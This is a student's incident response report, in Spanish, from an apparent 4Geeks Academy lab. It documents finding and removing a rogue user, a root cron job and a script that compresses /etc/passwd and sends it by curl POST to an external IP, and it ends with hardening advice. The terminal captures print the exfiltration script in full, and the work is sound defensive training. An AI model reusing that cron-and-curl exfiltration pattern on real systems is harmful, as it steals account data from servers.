

INFORME TÉCNICO FINAL: RESPUESTA EN VIVO A INCIDENTES

ACADEMIA: 4Geeks

Alumno: Juan Brun



1. Revisión del incidente desde el servidor activo (Live Incident Response)

Contexto y Restricciones: Ante la detección de anomalías en un servidor crítico de producción de 4Geeks Academy, se adoptó una estrategia de respuesta en vivo debido a que la disponibilidad del servicio era prioritaria y no era factible un apagado controlado o extracción tradicional de discos.

Hallazgos iniciales de Reconocimiento:

- Se identificó la presencia de una cuenta de usuario no estándar en el sistema (llamado hacker) con acceso interactivo mediante Shell (/bin/bash). (Fig1.)
- Se detectó un puerto de red abierto correspondiente al servicio FTP (puerto 21), analizado como posible vector o punto de transferencia. (Fig2.)
- Se descubrió un mecanismo de persistencia oculto en una tarea programada del sistema (/etc/cron.d/sys-maintenance) configurada para ejecutarse cada 15 minutos con privilegios de root.
- Se localizó el script malicioso asociado (/usr/local/bin/backup2.sh), el cual comprimía el archivo de credenciales (/etc/passwd) y lo excluía/exfiltraba mediante solicitudes HTTP POST automatizados con curl hacia la dirección IP externa 192.168.1.100:8080.(Fig3.)

2. Vulnerabilidades detectadas y corregidas

- Vector de Persistencia y Privilegios: Uso de tareas programadas del sistema operativo (cron) ejecutadas con privilegios elevados (root) para automatizar la extracción de información sensible sin requerir interacción activa de un usuario.
- Exposición de Datos Sensibles: Riesgo crítico de exfiltración de información del sistema de cuentas (/etc/passwd) hacia una infraestructura externa de comando y control.
- Cuentas y Accesos no autorizados: Existencia de la cuenta hacker en el sistema operativo que representaba un riesgo potencial de control de acceso.

3. Acciones de contención, erradicación y recuperación aplicadas.

- Neutralización de la Persistencia: Se eliminó el archivo de tareas programadas maliciosas (sudo rm /etc/cron.d/sys-maintenance), detenido inmediatamente la ejecución periódica del script. (Fig4.)
- Erradicación del Payload: se borró el script de exfiltración del servidor (sudo rm /usr/local/bin/backup2.sh) y se limpiaron los rastros temporales en /tmp/secrets.tgz.
- Remediación de Cuentas: Se eliminó por completo el usuario no autorizado (hacker) y su directorio personal asociado del sistema para prevenir futuros accesos (sudo userdel -r hacker). (Fig5.)

4. Recomendaciones para fortalecer el sistema y evitar futuras intrusiones

- Auditoría de Cuentas y Accesos: implementar políticas estrictas de revisión periódica de usuarios en `/etc/passwd` y deshabilitar o eliminar cualquier cuenta que no pertenezca al personal legítimo o servicios esenciales.
- Hardening de Servicios: Revisar la necesidad del servicio FTP (puerto 21), reemplazándolo por protocolos seguros y cifrados (como SFTP a través de SSH) o deshabilitándolo si no es indispensable.
- Monitoreo de integridad y tareas Cron: Configurar herramientas de supervisión (ejemplo Wazuh) para alertar sobre la creación o modificación de archivos en directorios críticos del sistema y tareas programadas (`/etc/cron.*`).
- Restricción de Conexiones salientes: Implementar reglas de firewall estrictas (como iptables) que limiten y controlen las conexiones salientes no autorizadas (curls / wget) hacia IPs o puertos desconocidos.

5. Capturas Justificadas de Comandos claves, hallazgos técnicos

```
sysadmin@4geeks-server:/home$ ls
hacker  sysadmin
sysadmin@4geeks-server:/home$ ls -al
total 16
drwxr-xr-x  4 root    root    4096 Jul 16 00:26 .
drwxr-xr-x 19 root    root    4096 Jun 21 2025 ..
drwxr-xr-x  2 hacker  hacker  4096 Jun 23 2025 hacker
drwxr-xr-x  5 sysadmin sysadmin 4096 Jun 23 2025 sysadmin
sysadmin@4geeks-server:/home$ cd hacker
sysadmin@4geeks-server:/home/hacker$ ls -al
total 20
drwxr-xr-x 2 hacker hacker 4096 Jun 23 2025 .
drwxr-xr-x 4 root    root    4096 Jul 16 00:26 ..
-rw-r--r-- 1 hacker hacker 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 hacker hacker 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 hacker hacker 807 Feb 25 2020 .profile
sysadmin@4geeks-server:/home/hacker$ cd ..
sysadmin@4geeks-server:/home$ cd sysadmin
sysadmin@4geeks-server:~$ ls -al
total 200
drwxr-xr-x  5 sysadmin sysadmin 4096 Jun 23 2025 .
drwxr-xr-x  4 root    root    4096 Jul 16 00:26 ..
-rw-----  1 sysadmin sysadmin 1329 Jun 23 2025 .bash_history
-rw-r--r--  1 sysadmin sysadmin 220 Feb 25 2020 .bash_logout
-rw-r--r--  1 sysadmin sysadmin 3771 Feb 25 2020 .bashrc
drwx-----  2 sysadmin sysadmin 4096 Jun 21 2025 .cache
drwxrwxr-x  3 sysadmin sysadmin 4096 Jun 21 2025 .local
-rw-r--r--  1 sysadmin sysadmin 807 Feb 25 2020 .profile
drwx-----  2 sysadmin sysadmin 4096 Jun 21 2025 .ssh
-rw-r--r--  1 sysadmin sysadmin  0 Jun 21 2025 .sudo_as_admin_successful
-rwxrwxr-x  1 sysadmin sysadmin 165733 Jun 21 2025 wazuh-install.sh
sysadmin@4geeks-server:~$
```

Fig1: Inspección del directorio `/home`, evidenciando la existencia de la cuenta no estándar 'hacker' junto a la cuenta legítima 'sysadmin'

```
sysadmin@4geeks-server:/$ ss -antp
State      Recv-Q      Send-Q       Local Address:Port      Peer Address:Port      Process
LISTEN     0            4096         127.0.0.53%lo:53        0.0.0.0:*
LISTEN     0            128          0.0.0.0:22             0.0.0.0:*
LISTEN     0            511          *:80                   *:.*
LISTEN     0            32           *:21                   *:.*
LISTEN     0            128          [::]:22                [::]:.*
sysadmin@4geeks-server:/$ _
```

Fig2: Ejecución del comando `ss -antp` para revisar los servicios en escucha en la máquina, identificando los puertos activos del sistema (como SSH, HTTP y FTP)

```
sysadmin@4geeks-server:/$ sudo cat /etc/cron.d/sys-maintenance
*/15 * * * * root /usr/local/bin/backup2.sh
sysadmin@4geeks-server:/$ sudo cat /usr/local/bin/backup2.sh
#!/bin/bash
tar -czf /tmp/secrets.tgz /etc/passwd
curl -X POST -F 'file=@/tmp/secrets.tgz' http://192.168.1.100:8080/upload
sysadmin@4geeks-server:/$ _
```

Fig3: Visualización del cronjob malicioso en `/etc/cron.d/sys-maintenance` y lectura del script `/usr/local/bin/backup2.sh`, confirmando la exfiltración periódica del archivo `/etc/passwd` mediante solicitudes HTTP POST con Curl hacia un IP externa.

```
sysadmin@4geeks-server:/$ sudo rm /etc/cron.d/sys-maintenance
sysadmin@4geeks-server:/$ sudo rm /usr/local/bin/backup2.sh
sysadmin@4geeks-server:/$ sudo rm -f /tmp/secrets.tgz
rm: cannot remove '-': No such file or directory
rm: cannot remove 'f': No such file or directory
sysadmin@4geeks-server:/$ sudo rm -f /tmp/secrets.tgz
sysadmin@4geeks-server:/$
```

Fig4: Eliminación mediante privilegios sudo del Cronjob de persistencia(`sys-maintenance`) y del script de exfiltración (`backup2.sh`)

```
sysadmin@4geeks-server:/$ sudo userdel -r hacker
userdel: hacker mail spool (/var/mail/hacker) not found
sysadmin@4geeks-server:/$ _
```

Fig5: Remoción definitiva de la cuenta de usuario no autorizada (hacker) y su directorio personal asociado para asegurar el sistema operativo.